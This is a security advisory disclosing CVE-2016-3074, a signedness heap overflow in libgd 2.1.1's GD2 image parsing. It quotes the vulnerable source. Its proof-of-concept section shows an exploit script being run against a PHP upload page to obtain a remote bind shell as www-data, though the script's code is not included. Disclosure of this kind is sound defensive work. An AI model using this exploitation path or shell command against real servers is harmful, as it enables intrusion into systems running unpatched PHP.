CVE-2016-3074: libgd: signedness vulnerability
Apr 22, 2016Overview
libgd [1] is an open-source image library. It is perhaps primarily used by the PHP project. It has been bundled with the default installation of PHP since version 4.3 [2].
A signedness vulnerability (CVE-2016-3074) exist in libgd 2.1.1 which may result in a heap overflow when processing compressed gd2 data.
Details
4 bytes representing the chunk index size is stored in a signed integer,
chunkIdx[i].size, by gdGetInt() during the parsing of GD2 headers:
libgd-2.1.1/src/gd_gd2.c:
53 typedef struct {
54 int offset;
55 int size;
56 }
57 t_chunk_info;
libgd-2.1.1/src/gd_gd2.c:
65 static int
66 _gd2GetHeader (gdIOCtxPtr in, int *sx, int *sy,
67 int *cs, int *vers, int *fmt, int *ncx, int *ncy,
68 t_chunk_info ** chunkIdx)
69 {
...
73 t_chunk_info *cidx;
...
155 if (gd2_compressed (*fmt)) {
...
163 for (i = 0; i < nc; i++) {
...
167 if (gdGetInt (&cidx[i].size, in) != 1) {
168 goto fail2;
169 };
170 };
171 *chunkIdx = cidx;
172 };
...
181 }
gdImageCreateFromGd2Ctx() and gdImageCreateFromGd2PartCtx() then
allocates memory for the compressed data based on the value of the
largest chunk size:
libgd-2.1.1/src/gd_gd2.c:
371|637 if (gd2_compressed (fmt)) {
372|638 /* Find the maximum compressed chunk size. */
373|639 compMax = 0;
374|640 for (i = 0; (i < nc); i++) {
375|641 if (chunkIdx[i].size > compMax) {
376|642 compMax = chunkIdx[i].size;
377|643 };
378|644 };
379|645 compMax++;
...|...
387|656 compBuf = gdCalloc (compMax, 1);
...|...
393|661 };
A size of <= 0 results in compMax retaining its initial value during
the loop, followed by it being incremented to 1. Since compMax is
used as the nmemb for gdCalloc(), this leads to a 1*1 byte allocation
for compBuf.
This is followed by compressed data being read to compBuf based on the
current (potentially negative) chunk size:
libgd-2.1.1/src/gd_gd2.c:
339 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in)
340 {
...
413 if (gd2_compressed (fmt)) {
414
415 chunkLen = chunkMax;
416
417 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,
418 compBuf,
419 chunkIdx[chunkNum].size,
420 (char *) chunkBuf, &chunkLen, in)) {
421 GD2_DBG (printf ("Error reading comproessed chunk\n"));
422 goto fail;
423 };
424
425 chunkPos = 0;
426 };
...
501 }
libgd-2.1.1/src/gd_gd2.c:
585 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2PartCtx (gdIOCtx * in, int srcx, int srcy, int w, int h)
586 {
...
713 if (!gd2_compressed (fmt)) {
...
731 } else {
732 chunkNum = cx + cy * ncx;
733
734 chunkLen = chunkMax;
735 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,
736 compBuf,
737 chunkIdx[chunkNum].size,
738 (char *) chunkBuf, &chunkLen, in)) {
739 printf ("Error reading comproessed chunk\n");
740 goto fail2;
741 };
...
746 };
...
815 }
The size is subsequently interpreted as a size_t by fread() or
memcpy(), depending on how the image is read:
libgd-2.1.1/src/gd_gd2.c:
221 static int
222 _gd2ReadChunk (int offset, char *compBuf, int compSize, char *chunkBuf,
223 uLongf * chunkLen, gdIOCtx * in)
224 {
...
236 if (gdGetBuf (compBuf, compSize, in) != compSize) {
237 return FALSE;
238 };
...
251 }
libgd-2.1.1/src/gd_io.c:
211 int gdGetBuf(void *buf, int size, gdIOCtx *ctx)
212 {
213 return (ctx->getBuf)(ctx, buf, size);
214 }
For file contexts:
libgd-2.1.1/src/gd_io_file.c:
52 BGD_DECLARE(gdIOCtx *) gdNewFileCtx(FILE *f)
53 {
...
67 ctx->ctx.getBuf = fileGetbuf;
...
76 }
...
92 static int fileGetbuf(gdIOCtx *ctx, void *buf, int size)
93 {
94 fileIOCtx *fctx;
95 fctx = (fileIOCtx *)ctx;
96
97 return (fread(buf, 1, size, fctx->f));
98 }
And for dynamic contexts:
libgd-2.1.1/src/gd_io_dp.c:
74 BGD_DECLARE(gdIOCtx *) gdNewDynamicCtxEx(int initialSize, void *data, int freeOKFlag)
75 {
...
95 ctx->ctx.getBuf = dynamicGetbuf;
...
104 }
...
256 static int dynamicGetbuf(gdIOCtxPtr ctx, void *buf, int len)
257 {
...
280 memcpy(buf, (void *) ((char *)dp->data + dp->pos), rlen);
...
284 }
PoC
Against Ubuntu 15.10 amd64 running nginx with php5-fpm and php5-gd [3]:
$ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
[*] this may take a while
[*] offset 912 of 10000...
[+] connected to 1.2.3.4:5555
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC
2016 x86_64 x86_64 x86_64 GNU/Linux
dpkg -l|grep -E "php5-(fpm|gd)"
ii php5-fpm 5.6.11+dfsg-1ubuntu3.1 ...
ii php5-gd 5.6.11+dfsg-1ubuntu3.1 ...
cat upload.php
<?php
imagecreatefromgd2($_FILES["file"]["tmp_name"]);
?>
Solution
This bug has been fixed in git HEAD [4].